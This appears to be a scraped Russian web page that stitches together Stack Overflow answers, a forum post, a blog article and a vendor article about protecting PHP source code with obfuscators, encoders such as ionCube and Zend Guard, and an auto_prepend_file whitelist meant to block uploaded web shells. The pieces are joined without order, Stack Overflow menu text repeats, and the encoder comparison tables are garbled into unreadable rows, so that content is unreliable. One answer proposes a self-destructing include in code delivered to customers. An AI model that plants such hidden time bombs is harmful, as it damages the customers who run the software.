[EDIT May 2016] в недавнем ответе отмечалось, что Zend не обрабатывает PHP5.5. Обфускатор SD PHP делает это.

Поделиться Ira Baxter     04 сентября 2009 в 03:51



0

Единственный способ действительно защитить ваши php-приложения от других-это не делиться исходным кодом. Если вы размещаете свой код где-то в интернете или отправляете его клиентам с помощью какого-то носителя, другие люди, кроме вас, имеют доступ к коду.

Вы можете добавить уникальный водяной знак к каждой отдельной копии вашего кода. Таким образом, вы можете trace утечек обратно к опаленному клиенту. (Но поможет ли это вам, поскольку код уже находится вне вашего контроля?)

Большинство кодов, которые я вижу, поставляется с лицензией и, возможно, гарантией. Строка в верхней части сценария, говорящая людям не изменять сценарий, может быть, будет достаточно. Когда я нахожу не открытый исходный код, я не буду использовать его в своих проектах. Может быть, я немного глуп, но я ожидаю, что ppl не будет использовать мой код none-OSS!

Поделиться qualbeen     03 декабря 2008 в 23:49



0

Zend Guard не поддерживает php 5.5 и легко реверсируется, переходите на http://www.ioncube.com для запутывания. http://wwww.phplicengine.com может лицензировать сценарии удаленно или локально.

Поделиться Igdrazil     01 августа 2014 в 06:47



-6

Итак, давайте посмотрим, мы хотим показать adam и Еве, что на дереве есть какой-то запретный плод, и нам хотелось бы, чтобы они не ели…

Как насчет того, чтобы иметь ангела с пылающим мечом?

  1. Может показаться наивным, и я не знаю, что на самом деле делает ваше приложение, но как насчет широкого использования includes?

  2. Для законного пользователя является ли все программное обеспечение, которое должно быть видно, или только его части? Потому что вы можете запутать и дать копию исходного кода законным

  3. Вы можете завернуть php в контейнер, как Фалангер (.NET)

  4. Возможно, вас беспокоит внешняя кража, то есть ваш код свободно виден через интернет, поскольку клиенты используют его. Это может стоить того, чтобы инвестировать в дешевый хостинг веб-сайта, например, за $50 в год, регистрируя своих законных клиентов с серийным номером в их коде и регулярно размещая информацию о вашем приложении на своем веб-сайте. По крайней мере, вы бы обнаружили, когда код был скомпрометирован. Вы можете нажать на него с самоуничтожением через n дней, что даст вам достаточно времени, чтобы связаться с вашим клиентом и изменить серийный номер. Это может быть единственный запутанный include() из всего кода

Поделиться joe Black     31 марта 2011 в 00:51


Похожие вопросы:


Лучшее решение для модульного тестирования кода Mootools

Я хочу найти лучшее решение для тестирования кода Mootools. У меня большой опыт работы в jQuery, и было не трудно найти инструмент для тестирования кода jQuery-QUnit. Есть ли инструмент equiv для…


Php библиотеки защиты кода

В php есть много библиотек защиты кода, однако они требуют установки дополнительных модулей php, которые я не могу себе позволить, потому что приложение будет работать на серверах, которыми я не…


Obfuscate/Encode/Encrypt PHP Имена Системных Функций

Возможный Дубликат : Лучшее решение для защиты кода PHP без шифрования Может ли кто-нибудь сказать мне, что это нормально/приемлемо, чтобы запутать имена функций ALL в PHP? Например, это, кажется,…


Является ли это хорошим решением для передачи и защиты личных данных?

Я хочу построить частную схему передачи данных и защиты для функции входа пользователя на мой сайт. Личные данные, которые я хочу защитить, — это идентификатор пользователя и пароль. Мои требования…


лучшее решение для управления логином без базы данных-php

Может ли кто-нибудь предложить мне простое и лучшее решение для управления логинами пользователей (имя пользователя & пароль) в частной сети (localhost) веб-страницы без настройки mysql или…


Лучшее альтернативное решение для ASP.NET AJAX UpdatePanel

Лучшее альтернативное решение для ASP.NET AJAX UpdatePanel для динамического добавления и удаления пользовательских элементов управления без полной обратной передачи


Использование асимметричного шифрования для защиты паролей

Из-за требований наших клиентов, пароли пользователей должны храниться в некоторой форме readable, чтобы позволить счетам быть преобразованными позже. К сожалению, просто сохранить значения hash и…


Лучшее решение jQuery/Java PHP для localhost сервер — клиент live chat

У меня есть Apache сервер с PHP и связанный локальный клиент PCs в моей частной сети. Может ли кто-нибудь предложить лучшее решение чата для связи между клиентом PCs и сервером? Я ищу решение…


Hortonworks hadoop средства защиты и шифрования данных

Может ли кто-нибудь рассказать мне об инструментах, доступных для защиты и шифрования данных, которые поддерживаются дистрибутивом HortonWorks hadoop? А также, как зашифровать полностью или частично…


Лучшее решение для PHP Index.php Contoller

Как лучше всего включить файлы PHP, чтобы связать все файлы php вместе, чтобы массивы могли проходить через каждый файл. В настоящее время я использую переключатель для включения файла html и php,…


[php] Защита своего скрипта от копирования

HatoL сказал(а): ↑

А что нужно для того, чтобы ioncube работал? Нужны ли какието расширения установленные на хостинге? Как узнать, стоят они или нет, через phpinfo() ?

Нажмите, чтобы раскрыть…

Конечно нужна поддержка на хостинге. ionCube Loader устанавливается либо в php.ini, либо в отдельный каталог.
Не нужно устанавливать модуль в апач, как это надо делать с Zend Optimizer.

Вот, кстати, есть описание как что и куда ставить и сравнение с Zend Encoder.

http://www.hot-key.ru/man/ru/faq.htm#1.2

А еще позволю себе перевести фрагмент анонса с сайта ioncube.com, имхо в сравнении с четвертым Zend весьма ураганная вещь (пятый не знаь, не смотрел

ION CUBE Encoder включает следующие фичи:

1. Кодирует PHP скрипты в байткод для ускоренного выполнения и максимальной секьюрити
2. Кодирует обычные файлы, типа XML, Smarty шаблоны и изображения
3. Генерирует файлы лицензий для ограничения доступа к закодированным файлам (в Pro/Cerberus Encoder)
4. Выполняет обфускацию кода после компиляции для дополнительной секьюрити
5. Выбор формата хранения файлов — ASCII/Binary
6. Кодирует Shell скрипты PHP и обычные PHP
7. Предотвращает фальсификацию лицензионных сигнатур
8. Предотвращает неавторизированный include закодированных файлов в незакодированные
9. По выбору пользователя использует OpenSource расширения, типа mmcache
10. Генерирует файлы, срок жизни которых истекает в определенный момент или спустя какой-то временно промежуток
11. Запуск файлов только на комбинации IP адрес и/или имя сервера (Pro/Cerberus Encoder)
12. Запуска файлов на оперделенном MAC адресе (Cerberus Encoder)
13. Интеграция с ionCube Package Foundry
14. Текстовая аннотация в закодированных файлах, где можно указать свои копирайты и прочуу ботву
15. Настраиваемые сообщения об ошибках истечения срока лицензии и пр.
16. Очень высокая производительность по кодированию, особенно для кодирования по требованию (on demand)

 

Концепт защиты PHP сайта | Безопасность

Все мы, так или иначе, хотели бы быть уверенны в том, что наш сайт или блог никто не сможет взломать. Но увы, реальность такова, что любая система уязвима, как бы сильна она не была бы защищена. Все упирается лишь в ресурсы и в упорство взломщика… Хм… Что то меня не туда потянуло… Будем считать это предисловием =)

Не так давно я писал о том как правильно загружать файлы на сервер. Но допустим вы взяли уже готовую CMS и не знаете, как там реализованна загрузка, да и вобще вся защита. Конечно, особо пытливые и грамотные разработчики изучат код этой цмс прежде чем поставят на свой сайт. Но что делать тем у кого нет столько времени?

Хорошо, или допустим вы из тех кто считает что безопасность и правильная настройка сервера лишней не бывает? Если так то добро пожаловать под кат.

Нет, в статье вы не найдете какой-то супер пупер плагин, фильтрующий все данные, который нужно приинклудить ко всем файлам. Моя идея заключается в использовании директивы auto_prepend_file и постройки списка разрешенных файлов… Но в общем читайте сами…

Данная идея у меня давно сидела в голове, но наконец у меня дошли руки, хоть ничего сложного тут и нету, и я смог эту систему реализовать и написать статью =)

Принцип работы

Как я уже говорил выше, система основанна на работе директивы auto_prepend_file в php.ini. Отвечает она за установку скрипта, который будет выполнятся ПЕРЕД выполнением основного.

К примеру вы открыли index.php, а перед его выполнением запускается файл, указанный в auto_prepend_file. Суть в том, что в этом скрипте мы сможем контролировать дальнейшую работу остальных скриптов. Грубо говоря, продолжить работу и запустить запрошенный скрипт, или завершиться сразу (die()).

К примеру ситуация — злоумышленник залил на ваш сайт шелл через какую нибудь уязвимость и пытается его открыть в браузере. А вместо его шелла, ему, без всяких на то причин, отдается, вот такая вот ошибка:

Меня бы подобное ввело бы в ступор…

Для работы мой системы, нужен список разрешенных файлов, доступ к файлам, отсутствующим же в этом списке будет блокироваться.

(Не знаю нужна ли эта диаграмма, вроде бы и так все должно быть понятно…)

Конечно составлять такой список вручную — дело не благородное, поэтому я пришел к выводу, что имеет смысл реализовать так называемый «режим обучения». Режим в котором все обращения ко всем скриптам будут заносится в список разрешенных файлов автоматически.

Что это дает? Вы можете запустить эту систему в режиме обучения и продолжить пользоваться своим сайтом. По мере того как вы будете им пользоваться, ваша база будет пополнятся теми страницами, которыми вы пользуетесь (простите за каламбур). И допустим через месяц — другой у вас в списке будут содержаться все файлы которые имеют отношение к вашему сайту (к которым вы непосредственно обращались).

Причем заметьте, в списке будут содержаться только те файлы, с которыми вы непосредственно будете работать. Обычный среднестатистический движок сайта имеет кучу подключаемых файлов (с классами, с функциями, библиотеки, модули и прочее), эти файлы в этот список не попадут, и доступ к ним в дальнейшем будет блокироваться на уровне нашей защиты (конечно среднестатистические движки имеют защиту от прямого запуска, но вдруг гдето эта защита пропущенна).

Что умеем

Так как это концепт, то и умеем мы не много.

  • Блокирование неразрешенных скриптов (собственно основная функция). Но опять же это настраиваемо, можно не блокировать соединение, а только лишь уведомлять админа по email
  • Уведомление о нелегитимных запросах администратору по email (краткий отчет или полный отчет, последний включает заголовки пакета и данные POST запроса если таковые имеются)
  • Можно указать IP администратора, который будет иметь доступ к любым скриптам, т.е. данная система его затрагивать не будет (эти IP не будут участвовать в режиме обучения). К примеру теперь не надо закрывать .htaccess-ом софтины типа PhpMyAdmin, SupexDumper и прочие системные утилиты.
  • Ксати Ip адреса поддерживают простенькие маски=)
  • Полностью прокомментированный код, и подробно описанна каждая директива конфигурации
  • Хз что еще…

Настройка

Теперь о том как встроить эту защиту в ваш сайт…

Для этого вам необходим доступ к файлу php.ini

  1. Для начала скачиваем сам скрипт: PrependSecuritySystem
  2. Распаковываем содержимое архива (data.txt и main.php) в какую либо папку на сервере, желательно в папку не доступную из веба (не обязательно, т.к. работать будет в любой, это имеет смысл чтобы убрать скрипт подальше от глаз взломщика)
  3. Открываем файл main.php и редактируем настройки. Необходимо обязательно поменять ip адрес и email админа. Остальные настройки же — по вашему желанию.
  4. Устанавливаем права доступа к распакованным файлам. Под никсами желательно изменить владельца для обоих файлов, отличного от пользователя из под которого работает веб сервер. Для файла main.php необходимо запретить запись для всех. Для файла data.txt необходимо установить права на чтение и на запись для всех (это временно, на период обучения)
  5. Открываем php.ini и вписываем следующее:
    auto_prepend_file=[путь до распакованного файла main.php]
  6. С данного момента начинается обучение системы. Выжидаем определенное колличество времени, достаточное, по вашему мнению, для полного обучения данной системы.
  7. По окончанию обучения открываем файл main.php и редактируем костанту PSS_STATUS_BLOCK, устанавливаем ее значение в true, сохраняем
  8. Изменяем права доступа на файл data.txt. Запрещаем редактирование данного файла для всех.
  9. Теперь система перешла в режим блокирования неразрешенных скриптов

Многовато шагов, конечно, но с этим, как мне кажется, справится даже ребенок.

Если вам необходимо переобучить систему (с нуля или дополнить), то вам необходимо:

  1. Разрешить запись в файл data.txt
  2. Очистить содержимое data.txt (ТОЛЬКО если вам необходимо переобучить систему с нуля)
  3. Отредактировать костанту PSS_STATUS_BLOCK в файле main.php, установив ее значение в false
  4. Проводим переобучение…
  5. По окончанию переобучения редактируем константу PSS_STATUS_BLOCK устанавливая ее значение обратно в true
  6. Запрещаем запись файла data.txt

Ну а теперь о грустном

Лукавить я не буду, и теперь расскажу о недостатках.

  • Пожалуй главный недостаток по сравнению с которым меркнут все остальные, это то, что эту систему можно обойти. Вы спросите: как же так? Все очень просто, директиву auto_prepend_file можно указать и в .htaccess. И если подойти трезво то если злоумышленник вдруг смог залить шелл, то наверняка он сможет залить и свой .htaccess в котором он может отключить оригинальную директиву.
    Это работает только под apache, но к примеру под nginx этот трюк не выйдет (у nginx нет файлов .htaccess). НО! Под Nginx можно вообще залить свой php.ini в любую папку и в этой папке будут действовать новые директивы.
  • Злоумышленник может отредактировать «разрешенный» скрипт если есть допустимые права на это, и с этим наша система ничего, к сожалению, сделать не сможет. Разве что необходимо устанавливать правильные права на все исполнемые файлы
  • Помимо PHP есть еще всякие perl, cgi и прочее… с ними данная система не работает.
  • Дополнительная нагрузка. Но вртяли эта нагрузка будет ощутима.

Именно поэтому, казалось бы такая оригинальная система, не может называться идеальной. Но она вполне подойдет в качестве простой превентивной меры, которая остановит не самых упоротых упертых взломщиков. По крайней мере данная система сможет отнять время у взломщика на проведение атаки. К примеру, система уведомит администратора о попытке взлома, дав тем самым администратору возможность устранить уязвимость до тех пор пока злоумышленник разберется с причиной его неудач.

Заключение

Все же, так или иначе, это концепт, может быть вы сможете придумать на ее основе что то лучшее. А может быть вас устроит моя система.

На мой взгляд разумной защиты много не бывает. Использовать что-либо подобное или нет, у вас на сайтах решать вам.

Фуф. Ну и написал я, почти целый день ушел. Простите если описал несколько сумбурно. В общем задавайте ваши вопросы в комментариях, я постараюсь ответить.

PS: хоть я и кодил максимально адекватно, скрипт может иметь баги. Тестировалось на win/apache/php 5.2 — все было ок.

UPD: запилил репозиторий на гитхабе: https://github.com/InSys/PrependSecuritySystem

javascript — Защита кода PHP

Переполнение стека
  1. Около
  2. Продукты
  3. Для команд
  1. Переполнение стека Общественные вопросы и ответы
  2. Переполнение стека для команд Где разработчики и технологи делятся частными знаниями с коллегами
  3. Вакансии Программирование и связанные с ним технические возможности карьерного роста
  4. Талант Нанимайте технических специалистов и создавайте свой бренд работодателя
  5. Реклама Обратитесь к разработчикам и технологам со всего мира
  6. О компании
.

Как защитить исходный код PHP Бесплатные решения с открытым исходным кодом и коммерческие решения — Программный обфускатор для защиты исходного кода, кодирование для шифрования и защита кода приложений — Блог пакета PHP Application Packer

Содержание

Шифрование исходного кода PHP

Как защитить методы PHP-кода

Решения для защиты исходного кода PHP

Бесплатный кодировщик PHP с открытым исходным кодом

Список коммерческих кодировщиков PHP

Функции кодировщика PHP

Подробная информация о расширенной поддержке PHP Encoder

Другие возможности PHP-кодировщика

Где найти бесплатные кодировщики исходного кода PHP?

Где узнать цену и купить коммерческие кодировщики сценариев PHP?

PHP Obfuscator PackApp.php

Загрузите пакет PHP Code Obfuscator

Разработчики

PHP часто сталкиваются с проблемой защиты своей интеллектуальной собственности после доставки своих программных продуктов PHP заказчику. Лицензионное соглашение с конечным пользователем (лицензионное соглашение с конечным пользователем) или проприетарная лицензия обеспечивают правовую защиту, но фактически не предотвращают несанкционированное использование копий программного продукта.

Компиляция или кодирование исходного кода в некоторый двоичный формат устранили бы проблему, но налагают требования к программному обеспечению, которое должно запускать скомпилированный код на сервере клиента.

Использование модели SaaS могло бы быть другим решением, но для этого требуется, чтобы серверная поддержка поставщика была доступна 24/7.

Когда продукт должен быть установлен на сервере клиента, обычно он предоставляет стандартную среду, такую ​​как стек на основе LAMP. В этой статье обсуждается, как защитить приложение PHP в этом случае.

PHP-приложению на клиентском сервере требуется 2 вида защиты:

  1. Запретить чтение и изменение исходного кода приложения
  2. Запретить распространение всего приложения

Первой мерой, затрудняющей чтение исходного кода, является «минификация».Удаление комментариев, пробелов и разрывов строк значительно снижает удобочитаемость. Однако написать небольшой сценарий для переформатирования минифицированного кода, чтобы сделать его читабельным, не проблема. Имена мнемонических идентификаторов все еще достаточно информативны, чтобы понять код с некоторыми усилиями.

Еще одна мера, которая может здесь помочь, — это запутывание. Переименование идентификаторов со случайными именами затрудняет понимание, изменение или использование исходного кода.

Уменьшенный и обфусцированный исходный код все еще можно скопировать и установить на любой другой сервер.Таким образом, приложение должно быть заблокировано на сайте клиента, чтобы предотвратить распространение. Существует несколько вариантов блокировки исходного кода с использованием: IP-адреса сервера, доменного имени сайта, определенного URL-адреса, аппаратного (MAC) адреса. Приложение должно включать необходимые функции для проверки критериев блокировки перед выполнением каких-либо действий.

В основном существует 3 типа решений для защиты кода PHP: минификаторы, обфускаторы и кодировщики.

Минификаторы

Минификаторы удаляют ненужные части текста исходного кода.Существуют минификаторы, которые используют токенизатор PHP для синтаксического анализа исходного кода на значения токенов. Исходный код перестраивается, удаляя комментарии и пробелы.

Уменьшенный исходный код часто требует дальнейшего скремблирования, которое может быть выполнено либо путем кодирования, либо путем обфускации. Самый простой метод кодирования — использовать функции base64_encode () и eval () для минифицированного исходного кода или использовать некоторое шифрование.

Любой компетентный PHP-программист может легко декодировать минифицированный PHP-скрипт для просмотра исходного исходного кода.

Обфускаторы

Обфускатор превращает обычный исходный код PHP в эквивалентную версию, которую труднее понять.

Самый надежный способ создать легкий обфускатор — это проанализировать исходный код лексически, заменить идентификаторы бессмысленными именами и затем пересобрать исходный код PHP. Это необходимо сделать для всех файлов исходного кода, включая шаблоны. Поэтому многие онлайн-инструменты не подходят для этой цели, потому что они обрабатывают только отдельные скрипты.

Энкодеры

Кодировщики

компилируют исходный код PHP в коды операций Zend и сохраняют результат в файлах, которые заменяют исходные файлы PHP.

Некоторые коммерческие кодировщики очень хороши, но могут потребовать расширения загрузчика для загрузки и выполнения закодированного кода PHP. Они часто используют алгоритмы шифрования с секретными ключами, чтобы затруднить извлечение исходных кодов операций Zend из зашифрованного файла PHP.

В зависимости от веб-сервера поставляются разные версии загрузчика, но клиенты могут не захотеть (или не могут) их установить.

Некоторые кодеры могут иметь дополнительные функции блокировки. Код блокировки встроен в закодированный источник, и проверка выполняется во время выполнения.

Некоторые разработчики ищут бесплатные решения для кодирования PHP с открытым исходным кодом. Однако часть защиты, которую обеспечивают кодировщики PHP, исходит из того факта, что ключи шифрования и алгоритмы кодирования, используемые кодировщиками PHP, являются проприетарными.

Предоставление решения для кодировщика PHP с открытым исходным кодом нарушит цель защиты исходного кода PHP, поскольку упростит создание декодеров.

Вот почему не существует бесплатных или открытых кодировщиков PHP.

SourceGuardian

Разработано: SourceGuardian

PHTML Encoder

Разработано: RSSoftLab

Zend Guard

Разработано: Zend

Источник1 коммерческая 4.3
Версия Дата выпуска Лицензия Платформа Min PHP Max PHP123
Коммерческая Windows, Linux, MacOS X 4.3.4 7.1
ionCube Encoder 9.0 Windows, OS X104 4.1, FreeBSD 5,6
Zend Guard 7,0 Коммерческая Linux, Windows, Mac OS X 4,2 5,6
NuCoder Windows 3,1 3,1 5,3
Кодировщик PHTML 6,4 Коммерческий Windows, Linux, FreeBSD, Solaris, Mac OS X 4,2 5.6.3
GUI Командная строка Привязка к IP, доменам, Mac-адресам Привязка к определенным датам Кодирование файлов без PHP10 9010
SourceGuardian Да Да Да Да Да Нет
ionCube Энкодер Да Да Да Да Да Да Zend Guard Да Да Да Да Нет Да
NuCoder Да Да Нет Нет Нет Нет Нет Да Да Да Нет Нет Да

Некоторые кодировщики PHP имеют определенные функции, которые могут обеспечить лучшую поддержку защиты кодированного кода.Ниже следует объяснение каждой из этих функций.

Макс PHP исходный язык Макс PHP язык среды выполнения Файлы могут работать на более новые версии PHP Алгоритмические (динамические) ключи Runtime API Инструменты для помощи с установкой загрузчика Свойства лицензии
SourceGuardian 7.1 7,1 Нет Нет Да Да Да
ionCube Энкодер 5,6 7,0 Да Да Да Да Zend Guard 5,6 5,6 Нет Нет Нет Нет Нет
NuCoder 5,3 5,3 ? Нет Нет Да Нет
Кодировщик PHTML 5.4 5,6 ? Нет Нет Да нет

Макс. Исходный язык PHP — Наивысшая версия исходного кода PHP, поддерживаемая для кодирования

Макс. Язык выполнения PHP — Наивысшая версия исходного кода PHP, поддерживаемая для выполнение закодированного кода.

Файлы могут работать на более новых версиях PHP — Закодированные файлы PHP могут выполняться на более новых версиях PHP.

Алгоритмические (динамические) ключи — более надежный метод шифрования кода, поскольку нигде не хранится ключ дешифрования.

Runtime API — специальные функции PHP для таких операций, как запрос лицензии и информации о закодированных файлах.

Инструменты для помощи при установке Loader — Предоставляет ли продукт инструменты, помогающие установить расширение Loader, чтобы закодированные файлы выполнялись на сервере.

Свойства лицензии — данные ключа / значения для конкретной лицензии, которые доступны через API среды выполнения.

Некоторые кодировщики PHP имеют функции, которые еще не перечислены здесь для параллельного сравнения.В конце концов, эти функции будут добавлены позже в следующем выпуске этой статьи.

Поэтому производителям кодировщиков PHP было предложено описать некоторые из наиболее важных функций своих кодировщиков PHP, которые они считают важными для разработчиков PHP.

ionCube Encoder

ionCube Encoder обладает не только всеми ожидаемыми функциями кодирования и лицензирования, но также совместимостью закодированных файлов с будущими версиями PHP и уникальной защитой, такой как динамические ключи. Динамические ключи позволяют шифровать код без хранения ключа дешифрования, что может привести к краже. кода почти невозможно.

SourceGuardian

SourceGuardian поддерживает расширенную защиту байт-кода, шифрование с помощью специального ключа, расширенное шифрование с привязкой к IP / домену / MAC-адресу, привязку к файлу лицензии, установку даты истечения срока действия, дополнительную проверку удаленных серверов времени, расширенную обработку ошибок.

Все известные кодировщики PHP являются коммерческими, но у большинства из них есть бесплатные пробные версии, которые вы можете попробовать в течение определенного периода времени.

ionCube Encoder

NuCoder (14-дневная пробная версия)

PHTML Encoder

SourceGuardian (14-дневная пробная версия)

Zend Guard (14-дневная пробная версия)

Каждый из доступных коммерческих кодировщиков PHP можно приобрести на сайтах соответствующих поставщиков.

Пакет PHP Application Packer заполняет пробел между простыми обфускаторами и совершенными инструментами. Для этого пакета упаковка означает минимизацию, обфускацию, сжатие с помощью ZIP.

PackApp.php упаковывает файлы проекта: минимизирует исходный код (HTML, CSS, JavaScript, JSON, PHP, XML), затемняет код (JavaScript, PHP) и сжимает полученные файлы. Исходный код может быть как отдельным файлом, так и папкой, которая может иметь подпапки. В результате получается либо запакованный файл, либо папка с запакованными файлами.Также обрабатываются ZIP-архивы: из папки в zip, из zip в папку, из zip в zip.

Вы можете попробовать однофайловую демонстрацию здесь.

Основные характеристики и преимущества:

  • Упаковывает сразу весь проект
  • Подходит для back-end и front-end проектов
  • Обрабатывает различные типы источников и встраивание
  • Минификация и обфускация разделены
  • Легкий и совместимый, поскольку он написан на PHP
  • Никаких системных расширений и кодирования не требуется

Предоставляется веб-интерфейс пользователя для управления процессом упаковки с несколькими опциями.

PackApp также можно вызвать из сценария PHP, как описано на этой странице описания.

Установка PackApp включает регистрацию, которая привязывает пакет к веб-каталогу клиента. Это может быть шаблон для вашего собственного решения для блокировки.

Сам исходный код пакета уменьшен и запутан — попробуйте отменить его! Вы можете получить полную версию PackApp здесь.

Так же, как блокировка не помешает другим проникнуть в ваш дом, обфускация не помешает другим использовать ваш код, она только усложнит им задачу.Цель пакета PackApp — сделать обратное проектирование довольно дорогим, чтобы попытаться это сделать.

Иногда достаточно только минимизировать, иногда требуется обфускация для достижения необходимой защиты или необходимо применить блокировку. Выбор зависит от конкретного приложения и бизнес-модели.

Использование любого бесплатного решения часто бывает неудовлетворительным. Если платить несколько десятков долларов за утилиту кажется слишком большим, то, вероятно, этот исходный код вообще не нуждается в защите.

Если вы ищете комплексную защиту, то вы должны быть готовы платить в 10 раз больше (возможно, каждый год), и ваш клиент должен быть готов к установке расширений веб-сервера. В большинстве случаев промежуточное решение, такое как PackApp, подходит для многих независимых поставщиков программного обеспечения.

Вы можете загрузить пакет PackApp в виде ZIP-архива или установить его с помощью инструмента PHP composer с инструкциями на странице загрузки.

Если вам понравилась эта статья или у вас есть вопросы о защите исходного кода PHP с помощью PackApp, оставьте комментарий здесь.

.

linux — Защита исходного кода PHP

Переполнение стека
  1. Около
  2. Продукты
  3. Для команд
  1. Переполнение стека Общественные вопросы и ответы
  2. Переполнение стека для команд Где разработчики и технологи делятся частными знаниями с коллегами
  3. Вакансии Программирование и связанные с ним технические возможности карьерного роста
  4. Талант Нанимайте технических специалистов и создавайте свой бренд работодателя
  5. Реклама Обратитесь к разработчикам и технологам со всего мира
  6. О компании
.Защита исходного кода

— Скомпилировать PHP для предотвращения «кражи»?

Переполнение стека
  1. Около
  2. Продукты
  3. Для команд
  1. Переполнение стека Общественные вопросы и ответы
  2. Переполнение стека для команд Где разработчики и технологи делятся частными знаниями с коллегами
  3. Вакансии Программирование и связанные с ним технические возможности карьерного роста
  4. Талант Нанимайте технических специалистов и создавайте свой бренд работодателя
  5. Реклама Обратитесь к разработчикам и технологам со всего мира
  6. О компании
.
Posted in Php

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Theme: Overlay by Kaira Extra Text
Cape Town, South Africa